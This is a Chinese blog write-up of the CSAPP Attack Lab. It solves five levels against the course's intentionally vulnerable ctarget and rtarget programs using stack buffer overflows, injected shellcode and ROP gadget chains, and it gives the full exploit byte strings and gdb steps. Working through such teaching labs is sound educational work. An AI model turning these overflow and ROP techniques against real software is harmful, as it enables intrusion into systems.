CSAPP三-Attack Lab-五

Level 1

先把整个ctarget反汇编了看看里面是啥内容

objdump -d ctarget

1.1
里面特别多内容,找到我们需要的
test函数
1.2
test函数调用getbuf函数
1.3
touch1函数。需要把touch1函数注入进程序
1.4
test()调用getbuf(),而getbuf()函数可以造成溢出,可以溢出到存放返回地址的内存,并且可以把返回地址改写。我们只要把touch1()函数的起始地点写入进getbuf()函数的返回地址,就可以完成。即test()->getbuf()->…->getbuf()->test()变成test()->getbuf()->…->getbuf()->touch1()。

可以看到getbuf()函数的返回地址是0x401976
1.5
我们使用gdb来调试ctarget
1.6
给getbuf()函数打上断点
1.7
用run -q运行到断点处会停止。即getbuf函数的第一行
(不用run -q运行会报错"Running on an illegal host",在文档中写到"-q :不要把成绩发给评分服务器"。所以应该是测试版的连接不到服务器,或者没有权限连接到服务器)
1.8
查看寄存器%rsp的地址
1.9
查看0x5561dca0内存地址的值
1.10
4200822(十进制)=0x401976(十六进制)。和我们的想法一致。
现在程序到0x4017a8还没执行,我们给它的下一行打上断点
1.11
用下一行的地址0x4017ac来打上断点
1.12
用continue执行程序,到下一个断点停止
1.13
执行了sub $0x28,%rsp命令。给栈分配了40(0x28的十进制)个字节在查看一下寄存器%rsp的地址
1.14
现在getbuf()的返回地址应该存放在内存0x5561dc78+40处
查看一下,确实如此
1.15
也就是我们只要存入40个字节,就可以到内存中返回地址的位置。
然后把touch1()函数的起始地址写入返回地址中即可。
40个字节

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

加上touch1()函数的起始地址:4017c0
1.16
在我的机器上是小端法,所以是

c0 17 40 00 00 00 00 00

合起来就是下面的字节

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00

试一下这个答案行不行(输入答案的时候不要有空格,空格也算字符,上面只是表达字节)

00000000000000000000000000000000000000000000000000000000000000000000000000000000c017400000000000

1.17
发现是错误的,因为我们输入的数存进去会变成ASCII码。应该使红框中的内容为

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00

要找到一串字符串的ASCII码为上面的内容。这找起来有点麻烦。
使用hex2raw,它是生成字节序列的实用程序。

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00

放入one.txt文件中
1.18
使用I/O重定向

./hex2raw < one.txt > one-raw.txt

1.19
生成
1.20
使用I/O重定向把one-raw.txt的内容输入到ctarget中

./ctarget -q < one-raw.txt

1.21
就完成了第一阶段。

(为了更好的视觉体验以及更便捷人性化的操作,接下来的实验2,3,4,5本人使用Deepin系统,Linux原理一样,操作更丝滑)

Level 2

Level 2就是在Level 1的基础上多了一个参数

  • 定位需要注入的函数touch2的地址的字节表示,以便在getbuf的代码末尾的ret指令将控制权传递给它。
  • 第一个参数是在寄存器%rdi中传递的。
  • 注入的代码应该先将cookie保存在寄存器%rdi中,然后在使用ret指令将控制权传递给touch2。

需要思考的就是如何先设置寄存器%rdi中的值为cookie然后在跳转到touch2函数。那就是先从getbuf跳转到一个代码区域,然后在从代码区域设置寄存器%rdi在跳转到touch2函数。哪里找到这个代码区域,可以利用getbuf开辟出来的栈组织(sub $0x28,%rsp),把代码放入栈中。
找到这个区域,gdb调试ctarget
2.1
getbuf函数
2.2
给0x4017ac打上断点,看看栈组织%rsp的起始地址
2.3
调试程序,运行完了sub $0x28,%rsp
2.4
查看寄存器%rsp的地址
2.5
这就是我们要找的代码区域,我们让getbuf函数返回到这片代码区域(0x5561dc78)
这个要求和Level1 一样,只是字节不一样,变成了下面的字节

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00

返回到0x5561dc78,就是从这里开始,我们可以把要执行的代码放入到这里。
2.6
我们要执行什么代码?

  • 把cookie值放入到%rdi寄存器
  • 跳转到touch2函数

我的cookie值是0x59b997fa

把cookie值放入到%rdi寄存器

movq $0x59b997fa,%rdi

跳转到touch2函数,使用ret命令

CPU执行ret指令时,相当于进行:POP IP。——《汇编语言》(王爽第三版)P190
ret指令从栈中弹出值,然后跳转到这个地址。——《深入理解计算机系统》P166

所以我们可以把touch2函数的地址0x4017ec压入栈中,然后使用ret命令即可实现跳转。
2.7

pushq $0x4017ec
ret

合起来要注入的代码即

movq  $0x59b997fa,%rdi
pushq $0x4017ec
ret

要获取它的字节表示
编写.s汇编文件
two.s:

movq $0x59b997fa,%rdi
pushq $0x4017ec
ret

2.8
编译在反汇编
2.9
打开通过反汇编得到two.d程序
two.d:
2.10
得到要注入的代码的字节为

48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3

和上面的注入返回地址的字节合在一起(把上面的注入返回地址的字节前面的0替换成注入的代码的字节)即

48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00

下面就和Level1后面的操作一样。
放入two.txt文件
2.11
使用hex2raw

./hex2raw < two.txt > two-war.txt

2.12
使用I/O重定向把two-raw.txt的内容输入到ctarget中

./ctarget -q < two-war.txt

2.13
完成了第二阶段。

Level 3

Level3 就是在Level 2的基础上难了一丢丢。
传递一个字符串作为参数。这个字符串就是cookie。

  • 该字符串应包含cookie的8个十六进制的表示。
  • 在C语言中,字符串表示为一个字节序列,后面跟着一个值为0的字节。在Linux机器上输入”man ascii“以查看所需字符的字节表示。
  • 注入的代码应该将寄存器%rdi设置为这个字符串的地址。
  • 当函数hexmatch和strncmp被调用时,它们将数据压入堆栈,覆盖保存getbuf使用的缓冲区的内存部分。因此,您需要小心放置cookie的字符串表示。

有了Level 1和Level 2的经验,我们先把基础的东西写好。和Level 2一样,找到代码区域(Level 2的步骤重复一遍)。
gdb调试ctarget
3.1
getbuf函数
3.2
给0x4017ac打上断点,看看栈组织%rsp的起始地址
3.3
调试程序,运行完了sub $0x28,%rsp
3.4
查看寄存器%rsp的地址
3.5
这就是我们要找的代码区域,我们让getbuf函数返回到这片代码区域(0x5561dc78)

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00

返回到0x5561dc78,就是从这里开始,我们可以把要执行的代码放入到这里。
3.6
我们要执行什么代码?

  • 让%rdi指向字符串cookie的起始地址。
  • 跳转到touch3函数

字符串cookie应该用字节表示,在Linux机器上输入"man ascii"查看所需字符的字节表示即

35 39 62 39 39 37 66 61

3,7
我们可以看一下Level2中的two.d文件的字节。
two.d:
3.8
打算把cookie放在

48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3

的后面,代码段的起始地址为0x5561dc78,算上”48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3“字节,即把cookie放在0x5561dc85。让%rdi指向0x5561dc85
touch3函数的地址是0x4018fa
3.9
形成代码:

movq $0x5561dc85,%rdi
pushq $0x4018fa
retq

要获取它的字节表示
编写.s汇编文件
three.s:

movq $0x5561dca8,%rdi
pushq $0x4018fa
retq

3.10
编译反编译

gcc -c three.s
objdump -d three.o > three.d

3.11
得到three.d
3.12
获取到字节

48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3

把cookie放在0x5561dca8处即返回地址后,综上所述
得到
three.txt

48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61

3.13
使用hex2raw生成字节序列

./hex2raw < three.txt > three-war.txt

运行ctarget

./ctarget -q < three-war.txt

3.14
第三阶段搞定。

Level 4

要求

  • 只能使用前八个x86-64寄存器 %rax-%rdi ;
  • 只能使用 movq, popq, ret, nop的 gadget;
  • 只能使用两个 gadget完成攻击;

和Level 2一样将cookie存储进寄存器%rdi内。所以需要在rterget中找到相应gadget,可以凑出相应的能够实现攻击的指令。先将寄存器%rax的值设置为cookie,然后复制给%rdi。,可以拼凑出代码为:

popq	%rax   
ret            # 0x4019ab
mov		%rax,%rdi
ret            # 0x4019a2

实现攻击字符串four.txt:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 c5 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00

4.1
使用hex2raw生成字节序列

./hex2raw < four.txt > four-war.txt

运行rtarget

./rtarget -q < four-war.txt

4.2
第四阶段搞定。

Level 5

要求

  1. 只能使用前八个x86-64寄存器 %rax-%rdi ;
  2. 可以使用 movq, movl, popq, ret, nop的
    gadget;
  3. 可以使用在 rtarget代码中在 start_farm和 end_farm区域内的任意 gadget完成攻击;
  4. 至少需要8个 gadget实现此次攻击。
  • level3一样,需要将寄存器%rdi的值设置为cookie字符串的指针,即存储cookie字符串的地址。
  • 找到满足要求的gadget拼凑出攻击指令
movq   %rsp,%rax    //传递栈顶位置栈顶位置
//因为不能将cookie字符串存储在栈顶位置,需要另找位置,将cookie字符串存储在rsp+x处
add    $x  ,%rax    
movq   %rax,%rdi    //将cookie字符串地址传递给%rdi
  • 因此我们需要找到一个能够实现加法或减法的运算的gadget,但是参考文件中并没有相关的字节编码,需要寻找其他方法:
00000000004019d6 <add_xy>:
  4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  4019da:	c3                   	retq  
  • 通过观察可以通过上述代码来实现一个加法运算,lea (%rdi,%rsi,1) %rax的是%rax = %rdi + %rsi传递的是地址,所以只要能够让%rdi和%rsi其中一个保存%rsp,另一个保存从stack中pop出来的偏移值,就可以表示cookie字符串存放的地址。所以分成两部分代码:
    1.把%rsp存放到%rdi中
    2.把偏移值(需要确定指令数后才能确定)存放到%rsi中
  • 在上述代码中并没有movq %rax,%rsi的gadget,只能通过过%eax->%edx->%ecx->%esi来实现。即将%eax的值设置为cookie字符串地址在栈中的偏移量并复制给%esi
    需要注意的是,上面两部分完成任务的寄存器不能互换,因为从%eax到%esi的值传递mov指令都是4byte的操作,如果对%rsp的值采用这种方式,%rsp的值会被截断掉,最后的结果就错了。但是偏移值不会,因为4个bytes足够表示了。
  • 最后的指令为:
mov   %rsp,%rax
ret
mov   %rax,%rdi   #先将栈顶%rsp存入%rdi内
ret
popq  %rax         #将偏移量赋值给%eax
ret                 
movl  %eax,%edx    
ret
movl  %edx,%ecx
ret
movl  %ecx,%esi   #%esi = 偏移量
ret
lea   (%rdi,%rsi,1),%rax #%rax = %rsp + 偏移量
ret
mov   %rax,%rdi    #%rdi = cookie字符地址
ret
  • 根据题目rsp是41-48字节处,所以在cookie字符串之前还有九条指令,共占有72个字节即0x48字节,所以cookie字符串的地址在栈中的偏移量为0x48。
    最终产生如下字符
    five.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ad 1a 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
34 1a 40 00 00 00 00 00
27 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61

5.1
使用hex2raw生成字节序列

./hex2raw < five.txt > five-war.txt

运行rtarget

./rtarget -q < five-war.txt

5.2
最后一关完成。

实验总结

这一部分实验大概用了两次,这个实验的说明文档讲的很清晰,相对上一个实验还是容易些,通过这个实验对于堆栈还有参数传递有了更深的认识,对于机器代码如何控制程序运行也更加了解,以后有机会也会多了解一下这方面的知识。

文章参考:

https://blog.csdn.net/weixin_43362650/article/details/120893992

并进行改进突出实验完成主体

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值